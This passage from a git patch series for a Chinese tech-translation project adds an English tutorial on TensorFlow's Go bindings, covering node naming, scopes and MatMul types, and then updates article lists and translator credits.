+	var matrix, column *tf.Tensor
+
+	// A = [ [1, 2], [-1, -2] ]
+	if matrix, err = tf.NewTensor([2][2]int64{ {1, 2}, {-1, -2} }); err != nil {
+		panic(err.Error())
+	}
+	// x = [ [10], [100] ]
+	if column, err = tf.NewTensor([2][1]int64{ {10}, {100} }); err != nil {
+		panic(err.Error())
+	}
+
+	var results []*tf.Tensor
+	if results, err = sess.Run(map[tf.Output]*tf.Tensor{
+		A: matrix,
+		x: column,
+	}, []tf.Output{product}, nil); err != nil {
+		panic(err.Error())
+	}
+	for _, result := range results {
+		fmt.Println(result.Value().([][]int64))
+	}
+}
+```
+
+The code is completely commented and I invite the reader to read every single comment.
+
+Now, the Tensorflow-Python user expects that this code compiles and works fine. Let’s see if he’s right:
+
+`go run attempt1.go`
+
+Here’s what he got:
+
+`panic: failed to add operation "Placeholder": Duplicate node name in graph: 'Placeholder'`
+
+wait: what’s going on here?
+Apparently, there are 2 operations “Placeholder” with the same name “Placeholder”.
+
+## Lesson 1: node IDs
+
+**The Python API generates different nodes everytime we invoke a method to define an operation**, no matter if this has been already called before.
+In fact, the following code returns 3 without problems.
+
+```
+import tensorflow as tf
+a = tf.placeholder(tf.int32, shape=())
+b = tf.placeholder(tf.int32, shape=())
+add = tf.add(a,b)
+sess = tf.InteractiveSession()
+print(sess.run(add, feed_dict={a: 1,b: 2}))
+```
+
+We can verify that this program creates two different nodes printing the placeholder names: `print(a.name, b.name)` produces `Placeholder:0 Placeholder_1:0`.
+Thus, the `b` placeholder is `Placeholder_1:0` whilst the `a` placeholder is `Placeholder:0`.
+
+In Go, instead, the previous program fails because `A` and `x` are both called `Placeholder`. We can conclude that:
+
+**The Go API does not automatically generate new names every time we invoke a function that defnines an operation**: the operation name is thus fixed and we can’t change it.
+
+#### Question time:
+
+- What do we have learned about the Tensorflow architecture? *Every node in a graph must have a unique name. Every node is identified by its name.*
+- Is the name of the node the same of the operation that defined it? *Yes, or better, not completely, it’s just its last part*
+
+To clarify the second answer, let’s fix the duplicate node name problem.
+
+## Lesson 2: Scoping
+
+As we just saw, the Python API automatically creates a new name every time an operation is defined. Under the hood, the Python API invokes the C++ method `WithOpName` of the class `Scope`.
+Here are the method documentation and its signature, kept from [scope.h](https://github.com/tensorflow/tensorflow/blob/a5b1fb8e56ceda0ee2794ee05f5a7642157875c5/tensorflow/cc/framework/scope.h):
+
+```
+/// Return a new scope. All ops created within the returned scope will have
+/// names of the form <name>/<op_name>[_<suffix].
+Scope WithOpName(const string& op_name) const;
+```
+
+We can note that this method, used to name the nodes returns a `Scope`, thus a node name is, in reality, a `Scope`.
+A `Scope` is a **complete path** from the root `/` (empty graph) to the `op_name`.
+
+The method `WithOpName` adds a suffix `_<suffix>` (where `<suffix>` is a counter) when we try to add a node that has the same path from `/` to `op_name` and thus it would be a duplicate node under the same scope.
+
+Knowing this, to solve the issue of duplicated node names we expect to find the method `WithOpName` in the `type Scope`. Sadly, this method is not present.
+
+Instead, looking at the [documentation of the type Scope](https://godoc.org/github.com/tensorflow/tensorflow/tensorflow/go/op#Scope) we can see that the only method that returns a new `Scope` is `SubScope(namespace string)`.
+
+Quoting the documentation:
+
+> SubScope returns a new Scope which will cause all operations added to the graph to be namespaced with ‘namespace’. If namespace collides with an existing namespace within the scope, then a suffix will be added.
+
+The collision management using a suffix is **different** from the C++ `WithOpName`: `WithOpName` adds the `suffix`**after the operation name**, within the same scope (thus `Placeholder` becomes `Placeholder_1`) while the Go `SubScope` adds the `suffix`**after the scope name**.
+
+This difference generates completely different graphs, but although different (nodes are placed under different scopes) they’re equivalent computationally speaking.
+
+Let’s change the placeholder definitions in order to define two different nodes, moreover, let’s Print the `Scope` name.
+
+Let’s create the file `attempt2.go` changing the lines
+
+```
+A := op.Placeholder(root, tf.Int64, op.PlaceholderShape(tf.MakeShape(2, 2)))
+x := op.Placeholder(root, tf.Int64, op.PlaceholderShape(tf.MakeShape(2, 1)))
+```
+
+to
+
+```
+// define 2 subscopes of the root subscopes, called "input". In this
+// way we expect to have a input/ and a input_1/ scope under the root scope
+A := op.Placeholder(root.SubScope("input"), tf.Int64, op.PlaceholderShape(tf.MakeShape(2, 2)))
+x := op.Placeholder(root.SubScope("input"), tf.Int64, op.PlaceholderShape(tf.MakeShape(2, 1)))
+fmt.Println(A.Op.Name(), x.Op.Name())
+```
+
+Usual compile & run: `go run attempt2.go`. Results:
+
+```
+input/Placeholder input_1/Placeholder
+```
+
+
+#### Question time:
+
+What do we have learned about the Tensorflow architecture? *A node is completely identified by the Scope in which it is defined. The scope is the path that we have to follow from the root of the graph to reach the node. There are 2 way of defining nodes that execute the same operation: define the operation in a different Scope (Go style) or change the operation name (how Python automatically do or how we can do in C++)*
+
+We solved the problem of the duplicate node names but another problem landed on our terminal.
+
+    panic: failed to add operation "MatMul": Value for attr 'T' of int64 is not in the list of allowed values: half, float, double, int32, complex64, complex128
+
+
+Why the `MatMul` node definition panics? We just want to multiply two `tf.int64` matrices! It looks like that `int64` is the only type that `MatMul` does not accept.
+
+> Value for attr ‘T’ of int64 is not in the list of allowed values: half, float, double, int32, complex64, complex128
+
+What’s this list? Why can we multiply 2 matrices of `int32` but not of `int64`?
+
+Let’s go solve this understanding what’s going on.
+
+## Lesson 3: Tensorflow typing system
+
+Let’s dig into the [source code](https://github.com/tensorflow/tensorflow/blob/r1.2/tensorflow/core/ops/math_ops.cc#L1048) looking for the C++ declaration of the `MatMul` operation:
+
+```
+REGISTER_OP("MatMul")
+    .Input("a: T")
+    .Input("b: T")
+    .Output("product: T")
+    .Attr("transpose_a: bool = false")
+    .Attr("transpose_b: bool = false")
+    .Attr("T: {half, float, double, int32, complex64, complex128}")
+    .SetShapeFn(shape_inference::MatMulShape)
+    .Doc(R"doc(
+Multiply the matrix "a" by the matrix "b".
+The inputs must be two-dimensional matrices and the inner dimension of
+"a" (after being transposed if transpose_a is true) must match the
+outer dimension of "b" (after being transposed if transposed_b is
+true).
+*Note*: The default kernel implementation for MatMul on GPUs uses
+cublas.
+transpose_a: If true, "a" is transposed before multiplication.
+transpose_b: If true, "b" is transposed before multiplication.
+```
+
+This line defines an interface for the `MatMul` operation: in particular, we can see that using the `REGISTER_OP` macro we’re declaring the op’s:
+
+- Name: `MatMul`
+- Parameters: `a`, `b`
+- Attributes (optional parameters): `transpose_a`, `transpose_b`
+- Supported types for the template `T`: `half, float, double, int32, complex64, complex128`
+- Output Shape: automatically inferred
+- Documentation
+
+This macro call doesn’t contain any C++ code, but it tells us that **when defining an operation, even though it uses a template, we have to specify the list of the supported type for the specified type `T`** (or attribute).
+In practice, the attribute `.Attr("T: {half, float, double, int32, complex64, complex128}")` constraints the type `T` to be one value of that list.
+
+As we can read from [the tutorial](https://www.tensorflow.org/extend/adding_an_op) even when using a Template `T` we have to explicitly register the kernel for every supported overload. The kernel is the CUDA-way for referring to C/C++ functions that will be executed in parallel.
+
+The `MatMul` author, thus, decided to support only the previously listed types and to not support the `int64`. There are 2 possible reasons:
+
+1. Oversight: it’s possible, the Tensorflow’s authors are humans!
+2. Supporting devices where `int64` operations are not fully supported, thus this specific implementation of the kernel wouldn’t be general enough to run on every supported hardware.
+
+Coming back to our panic: the fix is obvious. We have to pass parameters of a supported type to `MatMul`.
+
+Let’s create `attempt3.go` changing every line that refers to an `int64` with an `int32`.
+
+There’s just a thing to note: **the Go bindings have their own set of types, with a 1:1 mapping (almost complete) with the Go types. When we feed values into the graph we have to respect the mapping (for instance feed `int32` when defining `tf.Int32` placeholders). The same thing has to be done when fetching values from the graph.**
+The `*tf.Tensor` type returned from a Tensor evaluation, has the `Value()` method that returns an `interface{}` that must be converted to the correct type (that **we know** from the graph construction).
+
+Usual `go run attempt3.go`. Results
+
+```
+input/Placeholder input_1/Placeholder
+[[210] [-210]]
+```
+Hooray!
+
+Here’s a Gist with the complete code of `attempt3` in case you’d like too build and run it (also remember that’s a Gist, you can contribute if you see something that can be improved!)
+
+```
+package main                                        
+
+import (                                            
+        "fmt"                                       
+        tf "github.com/tensorflow/tensorflow/tensorflow/go"                                              
+        "github.com/tensorflow/tensorflow/tensorflow/go/op"                                              
+)                                                   
+
+func main() {                                       
+        // Let's describe what we want: create the graph                                                 
+
+        // We want to define two placeholder to fill at runtime                                          
+        // the first placeholder A will be a [2, 2] tensor of integers                                   
+        // the second placeholder x will be a [2, 1] tensor of intergers                                 
+
+        // Then we want to compute Y = Ax           
+
+        // Create the first node of the graph: an empty node, the root of our graph                      
+        root := op.NewScope()                       
+
+        // Define the 2 placeholders                
+        // define 2 subscopes of the root subscopes, called "input". In this                             
+        // way we expect the have a input/ and a input_1/ scope under the root scope                     
+        A := op.Placeholder(root.SubScope("input"), tf.Int32, op.PlaceholderShape(tf.MakeShape(2, 2)))   
+        x := op.Placeholder(root.SubScope("input"), tf.Int32, op.PlaceholderShape(tf.MakeShape(2, 1)))   
+        fmt.Println(A.Op.Name(), x.Op.Name())       
+
+        // Define the operation node that accepts A & x as inputs                                        
+        product := op.MatMul(root, A, x)            
+
+        // Every time we passed a `Scope` to an operation, we placed that operation **under**            
+        // that scope.                              
+        // As you can see, we have an empty scope (created with NewScope): the empty scope               
+        // is the root of our graph and thus we denote it with "/".                                      
+
+        // Now we ask tensorflow to build the graph from our definition.                                 
+        // The concrete graph is created from the "abstract" graph we defined using the combination      
+        // of scope and op.                         
+
+        graph, err := root.Finalize()               
+        if err != nil {                             
+                // It's useless trying to handle this error in any way:                                  
+                // if we defined the graph wrongly we have to manually fix the definition.               
+
+                // It's like a SQL query: if the query is not syntactically valid we have to rewrite it  
+                panic(err.Error())                  
+        }                                           
+
+        // If here: our graph is syntatically valid.
+        // We can now place it within a Session and execute it.
+
+        var sess *tf.Session                        
+        sess, err = tf.NewSession(graph, &tf.SessionOptions{})                                           
+        if err != nil {                             
+                panic(err.Error())                  
+        }                                           
+
+        // In order to use placeholders, we have to create the Tensors containing the values to feed into                                                                                                          
+        // the network                              
+        var matrix, column *tf.Tensor               
+
+        // A = [ [1, 2], [-1, -2] ]                 
+        if matrix, err = tf.NewTensor([2][2]int32{{1, 2}, {-1, -2}}); err != nil {                       
+                panic(err.Error())                  
+        }                                           
+        // x = [ [10], [100] ]                      
+        if column, err = tf.NewTensor([2][1]int32{{10}, {100}}); err != nil {                            
+                panic(err.Error())                  
+        }                                           
+
+        var results []*tf.Tensor                    
+        if results, err = sess.Run(map[tf.Output]*tf.Tensor{                                             
+                A: matrix,                          
+                x: column,                          
+        }, []tf.Output{product}, nil); err != nil {
+                panic(err.Error())                  
+        }                                           
+        for _, result := range results {            
+                fmt.Println(result.Value().([][]int32))                                                  
+        }                                           
+}
+```
+
+#### Question time
+
+What do we have learned about the Tensorflow architecture? *Every operation has its own set of kernel associated. Tensorflow, seen as a descriptive language, is a strong typed language. It not only has to respect the C++ typing rules, but it also has the capability of implementing only certain types that are specified during the op regisration phase.*
+
+# Conclusions
+
+Using Go for defining and executing a graph gave us the opportunity for a better understanding of the underlying Tensorflow structure. Using a trial-and-error approach we solved this simple problem and step by step we learned something new about the graph, its nodes and the typing system.
+
+If you find this article useful, feel free to share it using the buttons below!
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 638c0d799c435996dc42d86b0b7f2144a7384b08 Mon Sep 17 00:00:00 2001
From: lsvih <lsvih@qq.com>
Date: Mon, 5 Jun 2017 10:59:33 +0800
Subject: [PATCH 605/638] Update rxjs-observables-observers-operators.md

---
 TODO/rxjs-observables-observers-operators.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/TODO/rxjs-observables-observers-operators.md b/TODO/rxjs-observables-observers-operators.md
index 50e766be12c..9b15f20bf27 100644
--- a/TODO/rxjs-observables-observers-operators.md
+++ b/TODO/rxjs-observables-observers-operators.md
@@ -76,7 +76,7 @@ const input$ = Rx.Observable.fromEvent(node, 'input')
 
 简单来说，操作符将会不断地依次返回新的可观察对象，让我们的流能够持续进行。作为用户而言，我们不需要关心什么时候、什么情况下需要创建与使用可观察对象与观察者，我们只需要用我们的订阅对象进行链式调用就行了。
 
-### 创建我们自己的 Observable（可观察对象）###
+### 创建我们自己的 Observable（可观察对象） ###
 
 现在，让我们开始写自己的可观察对象的实现吧。尽管它不会像 Rx 的实现那么高级，但我们还是对完善它充满信心。
 
@@ -92,7 +92,7 @@ function Observable(subscribe) {
 
 每个分配给 `this.subscribe` 的 `subscribe` 回调都将会被我们或者其它的可观察对象调用。这样我们下面做的事情就有意义了。
 
-#### Observer 示例####
+#### Observer 示例 ####
 
 在深入探讨实际情况之前，我们先看一看基础的例子。
 

From 1573409f0a87d743571888eb06e3f4816115e12b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Mon, 5 Jun 2017 11:41:03 +0800
Subject: [PATCH 606/638] Update node-js-streams-everything-you-need-to-know.md

---
 TODO/node-js-streams-everything-you-need-to-know.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/node-js-streams-everything-you-need-to-know.md b/TODO/node-js-streams-everything-you-need-to-know.md
index 1f9586e0148..3ebbb23e783 100644
--- a/TODO/node-js-streams-everything-you-need-to-know.md
+++ b/TODO/node-js-streams-everything-you-need-to-know.md
@@ -1,5 +1,5 @@
 > * 原文地址：[Node.js Streams: Everything you need to know](https://medium.freecodecamp.com/node-js-streams-everything-you-need-to-know-c9141306be93)
-> * 原文作者：[Samer Buna](https://medium.freecodecamp.com/@samerbuna?source=post_header_lockup)
+> * 原文作者：本文已获原作者 [Samer Buna](https://medium.freecodecamp.com/@samerbuna) 授权
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：
 > * 校对者：

From 480b19ac8d02528bc88446720d31a3e7fa3cadf3 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Mon, 5 Jun 2017 11:42:02 +0800
Subject: [PATCH 607/638] Update
 understanding-node-js-event-driven-architecture.md

---
 TODO/understanding-node-js-event-driven-architecture.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/understanding-node-js-event-driven-architecture.md b/TODO/understanding-node-js-event-driven-architecture.md
index 62c5f432756..7138e7f84f2 100644
--- a/TODO/understanding-node-js-event-driven-architecture.md
+++ b/TODO/understanding-node-js-event-driven-architecture.md
@@ -1,5 +1,5 @@
 > * 原文地址：[Understanding Node.js Event-Driven Architecture](https://medium.freecodecamp.com/understanding-node-js-event-driven-architecture-223292fcbc2d)
-> * 原文作者：[Samer Buna](https://medium.freecodecamp.com/@samerbuna)
+> * 原文作者：本文已获原作者 [Samer Buna](https://medium.freecodecamp.com/@samerbuna) 授权
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：
 > * 校对者：

From 2f114892df6ca18c0d10ac4ca31381f43e7c72da Mon Sep 17 00:00:00 2001
From: zaraguo <zaraguo92@gmail.com>
Date: Mon, 5 Jun 2017 11:53:54 +0800
Subject: [PATCH 608/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=E8=AF=91=E8=80=85?=
 =?UTF-8?q?=E6=A0=A1=E9=98=9F=E8=80=85=E4=BF=A1=E6=81=AF?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/how-to-go-from-hobbyist-to-professional-developer.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/TODO/how-to-go-from-hobbyist-to-professional-developer.md b/TODO/how-to-go-from-hobbyist-to-professional-developer.md
index d516776bd6f..1bec92212fd 100644
--- a/TODO/how-to-go-from-hobbyist-to-professional-developer.md
+++ b/TODO/how-to-go-from-hobbyist-to-professional-developer.md
@@ -1,8 +1,8 @@
 > * 原文地址：[How to Go From Hobbyist to Professional Developer](https://medium.freecodecamp.com/how-to-go-from-hobbyist-to-professional-developer-11a8b8a52b5f)
 > * 原文作者：[Ken Rogers](https://medium.freecodecamp.com/@kenrogers)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
-> * 校对者：
+> * 译者：[zaraguo](https://github.com/zaraguo)
+> * 校对者：[SareaYu](https://github.com/sareayu) [DeadLion](https://github.com/deadlion)
 
 # 如何从一个业余爱好者成长成为专业开发者 #
 

From e5b552fa53d5fd7da024714936134d76751f8201 Mon Sep 17 00:00:00 2001
From: sqrtthree <imsqrtthree@gmail.com>
Date: Mon, 5 Jun 2017 21:31:40 +0800
Subject: [PATCH 609/638] update article list

---
 README.md  | 4 ++--
 backend.md | 1 +
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index 5fcc060a445..baa0b089695 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [510](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [511](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 # 官方指南
 
@@ -59,10 +59,10 @@
 
 ## 后端
 
+* [建立更好的代码审查制度](https://juejin.im/entry/5934bafb2f301e006b055f57/detail?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([bobmayuze](https://github.com/bobmayuze/) 翻译)
 * [使用速率限制扩展你的 API](https://github.com/xitu/gold-miner/blob/master/TODO/rate-limiters.md?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([tanglie1993](https://github.com/tanglie1993/) 翻译)
 * [真相就在代码中](https://juejin.im/post/59152d17da2f60005dd0ae77?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([loveky](https://github.com/loveky) 翻译)
 * [nginScript 入门](https://github.com/xitu/gold-miner/blob/master/TODO/introduction-nginscript.md?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([1992chenlu](https://github.com/1992chenlu) 翻译)
-* [我是如何找回 Reddit 密码的](https://juejin.im/entry/590aee94da2f60005328fb2d/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([cdpath](https://github.com/cdpath) 翻译)
 * [所有后端译文>>](https://github.com/xitu/gold-miner/blob/master/backend.md)
 
 ## 教程
diff --git a/backend.md b/backend.md
index 02af53617ed..fd6b96db676 100644
--- a/backend.md
+++ b/backend.md
@@ -1,3 +1,4 @@
+* [建立更好的代码审查制度](https://juejin.im/entry/5934bafb2f301e006b055f57/detail?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([bobmayuze](https://github.com/bobmayuze/) 翻译)
 * [使用速率限制扩展你的 API](https://github.com/xitu/gold-miner/blob/master/TODO/rate-limiters.md?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([tanglie1993](https://github.com/tanglie1993/) 翻译)
 * [真相就在代码中](https://juejin.im/post/59152d17da2f60005dd0ae77?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)[loveky](https://github.com/loveky) 翻译)
 * [nginScript 入门](https://github.com/xitu/gold-miner/blob/master/TODO/introduction-nginscript.md?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([1992chenlu](https://github.com/1992chenlu) 翻译)

From 18f78626b2e587d8780e5ca2a8e8c902962b7cbd Mon Sep 17 00:00:00 2001
From: sqrtthree <imsqrtthree@gmail.com>
Date: Mon, 5 Jun 2017 22:07:58 +0800
Subject: [PATCH 610/638] update article list

---
 README.md  | 10 +++++-----
 android.md |  4 ++++
 2 files changed, 9 insertions(+), 5 deletions(-)

diff --git a/README.md b/README.md
index baa0b089695..1b4418318eb 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [511](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [515](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 # 官方指南
 
@@ -24,10 +24,10 @@
 
 ## Android
 
-* [使用 Espresso 和 Mockito 测试 MVP](https://juejin.im/post/5924e5740ce4630069757f75?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([skyar2009](https://github.com/skyar2009) 翻译)
-* [用 Dagger 2 实现依赖注入](https://github.com/xitu/gold-miner/blob/master/TODO/Dependency-Injection-with-Dagger-2.md?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([tanglie1993](https://github.com/tanglie1993/) 翻译)
-* [如何创建 BubblePicker – Android 多彩菜单动画](https://juejin.im/post/591e734d2f301e006bea5243?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([hackerkevin](https://github.com/hackerkevin) 翻译)
-* [通过测试来解耦Activity](https://juejin.im/post/59143d7c8d6d81005854d982?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([mnikn](https://github.com/mnikn) 翻译)
+* [Workcation App – 第四部分. 场景（Scenes）和 RecyclerView 的共享元素转场动画（Shared Element Transition）](https://juejin.im/post/5934bc22a0bb9f0058e27e88?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([stormrabbit](https://github.com/stormrabbit))
+* [Workcation App – 第三部分. 带有动画的标记（Animated Markers） 与 RecyclerView 的互动](https://juejin.im/post/5934bb10ac502e0068aa7598?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([stormrabbit](https://github.com/stormrabbit))
+* [Workcation App – 第二部分 .带有动画的标记（Animating Markers） 与 MapOverlayLayout](https://juejin.im/post/5934ba6aa22b9d0058ed37c5?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([stormrabbit](https://github.com/stormrabbit))
+* [Workcation App – 第一部分 . 自定义 Fragment 转场动画](https://juejin.im/post/5934b96c570c35005b548218?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([stormrabbit](https://github.com/stormrabbit))
 * [所有 Android 译文>>](https://github.com/xitu/gold-miner/blob/master/android.md)
 
 
diff --git a/android.md b/android.md
index 566329d1c5c..ca98457db8a 100644
--- a/android.md
+++ b/android.md
@@ -1,3 +1,7 @@
+* [Workcation App – 第四部分. 场景（Scenes）和 RecyclerView 的共享元素转场动画（Shared Element Transition）](https://juejin.im/post/5934bc22a0bb9f0058e27e88?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([stormrabbit](https://github.com/stormrabbit))
+* [Workcation App – 第三部分. 带有动画的标记（Animated Markers） 与 RecyclerView 的互动](https://juejin.im/post/5934bb10ac502e0068aa7598?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([stormrabbit](https://github.com/stormrabbit))
+* [Workcation App – 第二部分 .带有动画的标记（Animating Markers） 与 MapOverlayLayout](https://juejin.im/post/5934ba6aa22b9d0058ed37c5?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([stormrabbit](https://github.com/stormrabbit))
+* [Workcation App – 第一部分 . 自定义 Fragment 转场动画](https://juejin.im/post/5934b96c570c35005b548218?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([stormrabbit](https://github.com/stormrabbit))
 * [使用 Espresso 和 Mockito 测试 MVP](https://juejin.im/post/5924e5740ce4630069757f75?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([skyar2009](https://github.com/skyar2009) 翻译)
 * [用 Dagger 2 实现依赖注入](https://github.com/xitu/gold-miner/blob/master/TODO/Dependency-Injection-with-Dagger-2.md?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([tanglie1993](https://github.com/tanglie1993/) 翻译)
 * [如何创建 BubblePicker – Android 多彩菜单动画](https://juejin.im/post/591e734d2f301e006bea5243?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([hackerkevin](https://github.com/hackerkevin) 翻译)

From d5fa58f032f4a46327dfbe0cc71b3f8531a27f8f Mon Sep 17 00:00:00 2001
From: sqrtthree <imsqrtthree@gmail.com>
Date: Mon, 5 Jun 2017 22:17:52 +0800
Subject: [PATCH 611/638] update article list

---
 README.md                                    | 4 ++--
 TODO/rxjs-observables-observers-operators.md | 4 ++--
 front-end.md                                 | 1 +
 3 files changed, 5 insertions(+), 4 deletions(-)

diff --git a/README.md b/README.md
index 1b4418318eb..52d817bc8f1 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [515](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [516](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 # 官方指南
 
@@ -41,10 +41,10 @@
 
 ## 前端
 
+* [RxJS 简介：可观察对象、观察者与操作符](https://juejin.im/post/5934d2532f301e00585ea5f3?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih) 翻译)
 * [利用“Immutability（不可变性）”编写更为简洁高效的代码](https://juejin.im/post/592eb8bfa22b9d005776d6df?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([gy134340](http://gy134340.com/) 翻译)
 * [Airbnb 的前端重构](https://juejin.im/post/592e3af8ac502e006c9c3f1f?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([sunui](https://github.com/sunui) 翻译)
 * [Web 开发者安全清单](https://juejin.im/post/592651c944d904006400cd88?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([GangsterHyj](https://github.com/GangsterHyj) 翻译)
-* [解密 Quantum：现代浏览器引擎的构建之道](https://juejin.im/post/591bc865a22b9d00583c17b8?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([xunge0613](https://github.com/xunge0613) 翻译)
 * [所有前端译文>>](https://github.com/xitu/gold-miner/blob/master/front-end.md)
 
 
diff --git a/TODO/rxjs-observables-observers-operators.md b/TODO/rxjs-observables-observers-operators.md
index 9b15f20bf27..d2a82820a96 100644
--- a/TODO/rxjs-observables-observers-operators.md
+++ b/TODO/rxjs-observables-observers-operators.md
@@ -1,5 +1,5 @@
 > * 原文地址：[RxJS: Observables, observers and operators introduction](https://toddmotto.com/rxjs-observables-observers-operators)
-> * 原文作者：[Todd](https://toddmotto.com/)
+> * 原文作者：本文已获原作者 [Todd](https://toddmotto.com/) 授权
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[lsvih](https://github.com/lsvih)
 > * 校对者：[sunui](https://github.com/sunui),[GangsterHyj](https://github.com/GangsterHyj)
@@ -134,7 +134,7 @@ const input$ = Observable.fromEvent(node, 'input');
 ```
 Observable.fromEvent = (element, name) => {
   return new Observable((observer) => {
-    
+
   });
 };
 ```
diff --git a/front-end.md b/front-end.md
index 2d32dcf82ce..54522c1f3a5 100644
--- a/front-end.md
+++ b/front-end.md
@@ -1,3 +1,4 @@
+* [RxJS 简介：可观察对象、观察者与操作符](https://juejin.im/post/5934d2532f301e00585ea5f3?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih) 翻译)
 * [利用“Immutability（不可变性）”编写更为简洁高效的代码](https://juejin.im/post/592eb8bfa22b9d005776d6df?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([gy134340](http://gy134340.com/) 翻译)
